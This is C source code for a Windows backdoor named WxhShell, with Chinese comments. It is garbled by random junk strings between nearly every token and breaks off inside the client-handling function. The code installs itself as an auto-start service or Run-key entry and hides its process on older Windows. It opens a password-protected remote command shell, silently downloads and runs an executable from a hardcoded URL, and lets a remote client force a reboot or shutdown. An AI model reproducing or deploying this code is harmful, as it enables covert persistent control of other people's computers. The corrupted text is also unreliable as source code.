s& g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w)^\_uAlS g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Jxn3$ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }E,jR=@ Nr%(2[$ = if (!NtQueryInformationProcess) return 0; [u7 vY@ `,Xb8^M2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <_>.!9q if(!hProcess) return 0; (Hl8U &0JK38( if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y+5"uq<' .<HC[ls CloseHandle(hProcess); /%5_~Jkr, ;m''9z)2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E*OG-r if(hProcess==NULL) return 0; A3z/Bz4]:# YWSz84d HMODULE hMod; .#sz|0 char procName[255]; ,%[LwmET unsigned long cbNeeded; J"5jy$30'$ 0hFH^2%UY if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |>Z&S=\I) xv^Sh}\} CloseHandle(hProcess); W"dU1] pXve02b1B if(strstr(procName,"services")) return 1; // 以服务启动 G
*ds4R?! TNJ<!6 return 0; // 注册表启动 uC- A43utv } wL Y#dm ix^gAot // 主模块 E2kW=6VO>| int StartWxhshell(LPSTR lpCmdLine) ;*W=c { OI*ZVD)J SOCKET wsl; H_Iim[v# BOOL val=TRUE; Jc`Rs"2 int port=0; \Bt=bu>Z struct sockaddr_in door; gxI&f ~:T3| if(wscfg.ws_autoins) Install(); r }ZLf ax4*xxU port=atoi(lpCmdLine); O+p]3u #FEa 5 if(port<=0) port=wscfg.ws_port; UOw~rK |3S'8OeCI WSADATA data; IhUW=1&J if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,GP!fsK :
#3OcD4 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ~B<97x(X setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x)j/ door.sin_family = AF_INET; SOhSg]g door.sin_addr.s_addr = inet_addr("127.0.0.1"); c[&d @ door.sin_port = htons(port); V_Xy2<V w~4
z@/^"p if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =x=1uXQv5 closesocket(wsl); nrF%wH/5 return 1; T_uNF8Bh } O;UiYrXU 8n;kK? if(listen(wsl,2) == INVALID_SOCKET) { 2dXU0095 closesocket(wsl); ^I@ey*$ return 1; ]Mn&76fu } `<S/?I8 Wxhshell(wsl); ZEL/Ndk WSACleanup(); 'CS^2Z mr@_%U return 0; hN& yc M`)s>jp@w } be&6kG \P*PjG?R // 以NT服务方式启动 P)Z/JHB VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Uc\|X;nkRk { }PtI0mZ1 DWORD status = 0; iP2U]d~M DWORD specificError = 0xfffffff; [&1iF1)4 6 lN?) <uQ serviceStatus.dwServiceType = SERVICE_WIN32; 8rGl& serviceStatus.dwCurrentState = SERVICE_START_PENDING; axWM|Bw<+ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mG>T`c|r3 serviceStatus.dwWin32ExitCode = 0; =t@:F serviceStatus.dwServiceSpecificExitCode = 0; h~,x7]w6 serviceStatus.dwCheckPoint = 0; }/_('q@s\ serviceStatus.dwWaitHint = 0; =ZCH1J5" sVE>=0TVP hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z~duJsH if (hServiceStatusHandle==0) return; ^:qpa5^" X
QI.0L" status = GetLastError(); nwY2BIB if (status!=NO_ERROR) NnJ>0|74g { enPzy:C serviceStatus.dwCurrentState = SERVICE_STOPPED; Coga-: 2vu serviceStatus.dwCheckPoint = 0; -;sJ25( serviceStatus.dwWaitHint = 0; aw%>YrJ serviceStatus.dwWin32ExitCode = status; "CIpo/ebL serviceStatus.dwServiceSpecificExitCode = specificError; K{,
W_^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); FI3sLA return; '
%bj9{(0 } lf?Z{^ TjKzBAX serviceStatus.dwCurrentState = SERVICE_RUNNING; [P.@1mV serviceStatus.dwCheckPoint = 0;
g|tNa/ serviceStatus.dwWaitHint = 0; 29R_n)ne if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +#|'|}j } M/n[& ~z\pI|DQ // 处理NT服务事件,比如:启动、停止 L@C >-F|p VOID WINAPI NTServiceHandler(DWORD fdwControl) wlm3~B\64 { sqm%iyC=q switch(fdwControl) 2AdX)iF@ { 1gF*Mf_7 case SERVICE_CONTROL_STOP: V_NjkyI serviceStatus.dwWin32ExitCode = 0; w:m'uB%W serviceStatus.dwCurrentState = SERVICE_STOPPED; ],BJ}~v,X serviceStatus.dwCheckPoint = 0; ({*.!ty serviceStatus.dwWaitHint = 0; vS~AxeW/7R { F7k4C2r SetServiceStatus(hServiceStatusHandle, &serviceStatus); N%|^;4}k } fMWXo)rzj return; (1j(*
?2 case SERVICE_CONTROL_PAUSE: @/_XS4 serviceStatus.dwCurrentState = SERVICE_PAUSED; [{6&.v break; vG'vgUo case SERVICE_CONTROL_CONTINUE: &M!4]pow serviceStatus.dwCurrentState = SERVICE_RUNNING; H j>L>6> break; d_4n0Kh0 case SERVICE_CONTROL_INTERROGATE: ;n yB break; R*JOiVAC }; RM?_15m SetServiceStatus(hServiceStatusHandle, &serviceStatus); rnzsfr-|(2 } ,gAr|x7_ Y}V)4j // 标准应用程序主函数 !mw{T D int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +~R.7NE% { wZ
(uq?3S` 9Q
SUCN_ // 获取操作系统版本 S+` !%hJ OsIsNt=GetOsVer(); K9x*Sep
GetModuleFileName(NULL,ExeFile,MAX_PATH); w\0Oz?N
y)N.LS // 从命令行安装 asm[-IB2u if(strpbrk(lpCmdLine,"iI")) Install(); \GjXsR*b5 ,Ut!u) // 下载执行文件 UDIac;vT if(wscfg.ws_downexe) { {GGO')p if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &5kjjQ*HB WinExec(wscfg.ws_filenam,SW_HIDE); <a4iL3 } /ieu)m:2 ^L*VW
gi9 if(!OsIsNt) { [# H8= // 如果时win9x,隐藏进程并且设置为注册表启动 )w}*PL HideProc(); e3HF"v]2! StartWxhshell(lpCmdLine); pAPQi|CN } !5g)3St else 4wM$5 if(StartFromService()) sT;=7L<TA // 以服务方式启动 D{&+7C:8. StartServiceCtrlDispatcher(DispatchTable); oHP>v_X else ?z4uze1 // 普通方式启动 -r6(=A StartWxhshell(lpCmdLine); (HTk;vbZm %k1q4qOG]^ return 0; iTKG,$G } ?kT~)k IdQwLt e+]YCp[( EmBfiuX =========================================== B?/12+sR D6pEQdX` i?P]}JENM z-{"pI H|(*$!~e Y/:Q|HnXQ " T$>=+U
K|Ij71 #include <stdio.h> 6):sO/es #include <string.h> 3'gd'`Hn/ #include <windows.h> egIS rmL+X #include <winsock2.h> 34O+#0<y~ #include <winsvc.h> f|[5&,2< #include <urlmon.h> 4n.i<K8K[ lHj7O&+ #pragma comment (lib, "Ws2_32.lib") 9X^-)G> #pragma comment (lib, "urlmon.lib") a3E*%G epY;1,;> #define MAX_USER 100 // 最大客户端连接数 b`;b}ug #define BUF_SOCK 200 // sock buffer a#^4xy: #define KEY_BUFF 255 // 输入 buffer W4] 0qp`\ ,XF6Xsg2 #define REBOOT 0 // 重启 Z?G3d(YT #define SHUTDOWN 1 // 关机 9g^./k\8% N#xM_Mpt #define DEF_PORT 5000 // 监听端口 w4&v( m 5p>]zij> #define REG_LEN 16 // 注册表键长度 '!|E+P- #define SVC_LEN 80 // NT服务名长度 ZPG8q
"78cl*sD // 从dll定义API \gPNHL* typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OM"T)4z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b}q(YgH< typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V.OoZGE>] typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Nr*ibtz|D y&O_Jyg< // wxhshell配置信息 zs]>XO~Jg struct WSCFG { 0UAr}H.: int ws_port; // 监听端口 ph|2lLZ char ws_passstr[REG_LEN]; // 口令 5xn0U5U int ws_autoins; // 安装标记, 1=yes 0=no /[)P^L` char ws_regname[REG_LEN]; // 注册表键名 |RbUmuj char ws_svcname[REG_LEN]; // 服务名 "~,(Xa3x char ws_svcdisp[SVC_LEN]; // 服务显示名 >5z`SZf char ws_svcdesc[SVC_LEN]; // 服务描述信息 g275{2G9 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K+aJ`V int ws_downexe; // 下载执行标记, 1=yes 0=no Q*{ H] char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a1Y _0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tX2>a CB7R{~
$ }; ^
8Nr %NJ eB1eUK> // default Wxhshell configuration HpgN$$\@ struct WSCFG wscfg={DEF_PORT, !C)> "xuhuanlingzhe", =<tJAoVV 1, rq|czQ "Wxhshell", TY{?4 "Wxhshell", t+Tg@~K2[> "WxhShell Service", u[% J#S "Wrsky Windows CmdShell Service", 6T'43h. : "Please Input Your Password: ", 3By>t!~Q 1, "9Fv!*<-W "http://www.wrsky.com/wxhshell.exe", @0x.n\M_ "Wxhshell.exe" E4fvYV_ra }; vXWESy Dqo:X`<bT // 消息定义模块 qi5>GX^t]b char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g_U*_5doA char *msg_ws_prompt="\n\r? for help\n\r#>"; ]8j5Ou6#y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1oVD Oo char *msg_ws_ext="\n\rExit."; uC$4TnoQx. char *msg_ws_end="\n\rQuit."; p`V9+CA char *msg_ws_boot="\n\rReboot..."; j?` D\LZhf char *msg_ws_poff="\n\rShutdown..."; 0eu$oel- char *msg_ws_down="\n\rSave to "; V:$1o -wHGi char *msg_ws_err="\n\rErr!"; uX5B>32 char *msg_ws_ok="\n\rOK!"; x+j/v5 5D@Q1 char ExeFile[MAX_PATH]; Q?'W >^*J int nUser = 0; ri.|EmH2:D HANDLE handles[MAX_USER]; KHC(MdZ int OsIsNt; K Qy\l+\gM Iw-6Z+ 94 SERVICE_STATUS serviceStatus; %4g4 C# SERVICE_STATUS_HANDLE hServiceStatusHandle; hD~/6bx hCx#H eh // 函数声明 kJ:5msKwC int Install(void); (TK
cSVR int Uninstall(void); G37L 9IG-M int DownloadFile(char *sURL, SOCKET wsh);
R5YtCw]i= int Boot(int flag); Q0cf] void HideProc(void); ^|axt VhMO int GetOsVer(void); G`<1>%"F int Wxhshell(SOCKET wsl); \>CBam8d void TalkWithClient(void *cs); wB0WR int CmdShell(SOCKET sock); ^{,},
i int StartFromService(void); W2V@\ int StartWxhshell(LPSTR lpCmdLine); ,DsT:8 y"n~ET}e7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e}@J?tJK.L VOID WINAPI NTServiceHandler( DWORD fdwControl ); h-u*~5dB<& =>TtX@ Q{ // 数据结构和表定义 $TUC?e9"h SERVICE_TABLE_ENTRY DispatchTable[] = w@D@,q'x { >}`1'su {wscfg.ws_svcname, NTServiceMain}, iDe0 5f1R {NULL, NULL} T%b^|="@ }; O4+w2'., Ki6BPi^ // 自我安装
6}ewBAq% int Install(void) /IR5[67 { ~wV98u-N char svExeFile[MAX_PATH]; )"Yah HKEY key; zL=I-f Vq strcpy(svExeFile,ExeFile); I(eR3d: 5_T>HHR6 // 如果是win9x系统,修改注册表设为自启动 2/NWWoKw if(!OsIsNt) { #rL@
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W8/6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y{B_OoTun RegCloseKey(key); ;5S7_p2]j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'Z%aBCM RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =
ft$j RegCloseKey(key); w4/)r-Z4I return 0; R3=E?us! } Pg}G4L?H;J } )bJ6{& } 0md{e`'q: else { `o- <, x=<>%m5R // 如果是NT以上系统,安装为系统服务 sm <kb@g SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F}mwQ%M if (schSCManager!=0) t$Ji{t- { Z%d4V<fn SC_HANDLE schService = CreateService ]nGA1 S{ ( @k;3$ schSCManager, DxG'/5jQ[ wscfg.ws_svcname, Y\F H4}\S wscfg.ws_svcdisp, U/lra&P SERVICE_ALL_ACCESS, Y'":OW#oN SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DdW8~yI& SERVICE_AUTO_START, 745PCC'FK SERVICE_ERROR_NORMAL, lY,1 w svExeFile, 0|k[Wha# NULL, /9gMcn9EB NULL, JVCgYY({KQ NULL, !I
P* NULL, s_+XSH[=f NULL ~d8o,.n`1 ); |/ 7's' if (schService!=0) -igZU>0B_ { uZI:Kt# CloseServiceHandle(schService); tG&B D\ CloseServiceHandle(schSCManager); >sY+Y 22U strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6<O]_ HZ& strcat(svExeFile,wscfg.ws_svcname); %-1-J<<J
q if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
$VNn`0^gF RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vCr$miZ RegCloseKey(key); *38\&"s4_ return 0; ;\0RXirk } IKj1{nZvDc } ;hp; Rd CloseServiceHandle(schSCManager); 'KrkCA } cMKh+r } }z:=b8} Qc/J"<Lx return 1; +#9 (T
} LLN^^>5|l <o`]wOrl // 自我卸载 N_}Im>;! int Uninstall(void) !I$RE?7eY { Sv",E@!f HKEY key; wN.Jyb Ee| y[y, if(!OsIsNt) { 1z!Lk*C) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %8}w!2D S RegDeleteValue(key,wscfg.ws_regname); :RG6gvz RegCloseKey(key); $9$NX/P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gW%(_H mX RegDeleteValue(key,wscfg.ws_regname); a2n#T,kq& RegCloseKey(key); EPfVS return 0; ,\"gN5[$( } /d;l: } =-Tetp } n\,W:G9AR7 else { X ^)5O>>|t Ue%5
:Sdr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]>j_
Y, if (schSCManager!=0) -': tpJk { QJ'C?hn SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YkbLf#2AE| if (schService!=0) u{^Kyo#v { P]^]
T}5 if(DeleteService(schService)!=0) { J]e&z5c CloseServiceHandle(schService); 2j|Eh
CloseServiceHandle(schSCManager); ".=EAXVU return 0; <ZEll[0L } b9jm=U CloseServiceHandle(schService); wVX0!y6 } ^|z>NV5> CloseServiceHandle(schSCManager); Ac%K+Pgk. } vN+!l3O } }2"k:-g nIT=/{oyi return 1; (d\bSo$] } Vh&KfYY |M&/(0 // 从指定url下载文件 >Li?@+Zl int DownloadFile(char *sURL, SOCKET wsh) -tJ*F!w6U { Z]CH8GS~< HRESULT hr; %kT:"j(xW char seps[]= "/";
~I74' char *token; :}-[%LSV char *file; nz+KA\iW char myURL[MAX_PATH]; eA_4,"{ char myFILE[MAX_PATH]; 4v7RX ujedvw;sO strcpy(myURL,sURL); (Nf.a4O token=strtok(myURL,seps); it@s(1EO# while(token!=NULL) c{q`uI;O { W1z5|-T file=token; A>k;o0r token=strtok(NULL,seps); 1lM0pl6M } oB@C-(M z~al
h?H GetCurrentDirectory(MAX_PATH,myFILE); Bc@e;k@i strcat(myFILE, "\\"); R
_%pR_\ strcat(myFILE, file); wH.'EC send(wsh,myFILE,strlen(myFILE),0); 3&
$E send(wsh,"...",3,0); J(]nPwm=.- hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f]ef 1# if(hr==S_OK) 6fiJ'
j@ return 0; cE[lB08 else 6=k^gH[g return 1; ~%ZO8X:^ %K4-V5f } r` @Dgo} IYFA>*Es // 系统电源模块 FdD'Hp+ int Boot(int flag) L
$~Id { lHU$A; HANDLE hToken; YDwns TOKEN_PRIVILEGES tkp; kW9STN bYfcn]N if(OsIsNt) { B(5g&+{Lq~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qA42f83 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xN]bRr tkp.PrivilegeCount = 1; TV}SKvu tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bhRpYP%x AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bPEAG=l "- if(flag==REBOOT) { Fei$94a if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,>Q,0bVhH0 return 0; 5sH ee, } %9K@`v- else { $uqlJG#` if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7gkHKdJoMA return 0; TBzM~y } ^AN9m]P } _\6-] else { R;%iu0 if(flag==REBOOT) { 9/Ls3U? if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P-C_sj A7 return 0; F&Gb[Q&a8 } /"U<0jot else { q)/4i9
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Tr8+E;; return 0; F=#Wfl-o } bF.Aj8ZQ } qr*/}F6 '#fj) return 1; :MpCj<<[ } ?$?Ni)Z 4d#W[ // win9x进程隐藏模块 7Vi[I< * void HideProc(void) XxGm,A+>Ty { bFpwq#PDW> rr*IIG&.5 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E4{8 $:q= if ( hKernel != NULL ) \,WPFV { GM5::M]fS pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mxIEg?r( ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m{g{"=}YR FreeLibrary(hKernel); yC
-4wn* } C-Mop,w xc!"?&\* return; \<5xf<{ } l}m@9 ~oC #>0nNR[$Y // 获取操作系统版本 }\@*A1*X2 int GetOsVer(void) ~Oq(JM
$M { '&`Zy pq OSVERSIONINFO winfo; K
\O,AE winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qnOAIP:0 GetVersionEx(&winfo); TCVJ[LbJ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |Bjb return 1; gG}<l ': else 0@
-LV:jU return 0; `
p)#! } k,?k37%T] _jtBU // 客户端句柄模块 milU,!7J int Wxhshell(SOCKET wsl) z:w7e0 { "Kqe4$ SOCKET wsh; NTV0DkX struct sockaddr_in client; %bAv.'C DWORD myID; \t}!Dr+yN bNXT*HOZb3 while(nUser<MAX_USER) `18G
5R { /h_BF\VBs int nSize=sizeof(client); n@*NQ`(_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [P^ .=F if(wsh==INVALID_SOCKET) return 1; aJub(" xHf
l>C' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); noacnQ_I$ if(handles[nUser]==0) YcIk{_N3 closesocket(wsh); /t816,i else t({:TQ nUser++; nF)|oA } \=.iM?T WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "2 Kh2[K _ZJP]5 return 0; s)}C&T$Y. } $ED<:[3N 3N;X|pa // 关闭 socket _ W$4Qn+f void CloseIt(SOCKET wsh) "Li"NxObCA { 4h-y'&Z closesocket(wsh); Gv<K#@9T nUser--; E0GpoG5C ExitThread(0); Pd>hd0!.% } <@oK^ja 2 Y%$6NX // 客户端请求句柄 nH;^$b'LZ void TalkWithClient(void *cs) `S%pD.g,2 { f@Db._E 'E6)6N SOCKET wsh=(SOCKET)cs; myH#.$=A char pwd[SVC_LEN]; !bQ5CB char cmd[KEY_BUFF]; zE<}_nA char chr[1];
MgA6/k int i,j; u{HB5QqK 4-sUy while (nUser < MAX_USER) { t;
"o,T 'l2`05 if(wscfg.ws_passstr) { 9Czc$fSSt if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ur_~yX]Mo //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m+CvU?)gJ //ZeroMemory(pwd,KEY_BUFF); [N{Rd[{QTL i=0; z55P~p while(i<SVC_LEN) { H1+G:TM sq*sb dE // 设置超时 kFeuKSa^d fd_set FdRead; hMdsR,Iq struct timeval TimeOut; OD{Rh(Id FD_ZERO(&FdRead); )wmXicURC FD_SET(wsh,&FdRead); )abo5 TimeOut.tv_sec=8; 7GpSWM6 TimeOut.tv_usec=0; kZfO`BVL int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9[/Gd{`XC if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LvB -%@n ^*RmT if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k}~|jLu@g pwd=chr[0]; _ u/N#*D if(chr[0]==0xd || chr[0]==0xa) { !RAyUfS pwd=0; &vo]l~. break; )0YMi!&j` } 7h,SX]4Q i++; S&FMFXF@ } ob-y {x,R hK?uGt
d? // 如果是非法用户,关闭 socket Jva&"}Cb if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c1Xt$[_ } &*r YY\I *o`bBdZ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]=7}Y%6 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u9_ Fjm}& gCW.;|2 while(1) { y.HE3tH ["kk.*& ZeroMemory(cmd,KEY_BUFF); uveTx YOy/'Le^: // 自动支持客户端 telnet标准 d?.ewsC j=0; 8W9kd"=U while(j<KEY_BUFF) { Y 8EL if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8N'[)Jw cmd[j]=chr[0]; 5F18/:\n if(chr[0]==0xa || chr[0]==0xd) { YOqGFi~` cmd[j]=0; [g`P(? break; MZv In ZS } h:}oUr8 j++; vg5i+ry< } @/g%l1$` mY+Jju1 // 下载文件 P?\ IlziCB if(strstr(cmd,"http://")) { ] K3^0S/ send(wsh,msg_ws_down,strlen(msg_ws_down),0); TW"
TgOfd if(DownloadFile(cmd,wsh)) n>"0y^v send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5(]=?$$*t else mR)Xq= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VE`5bD+%e } qk<(iVUO else { @2na r< xrs?"]M[ switch(cmd[0]) { :<r.n
" IQAV`~_G // 帮助 ;`p+Vs8C case '?': { 5B< |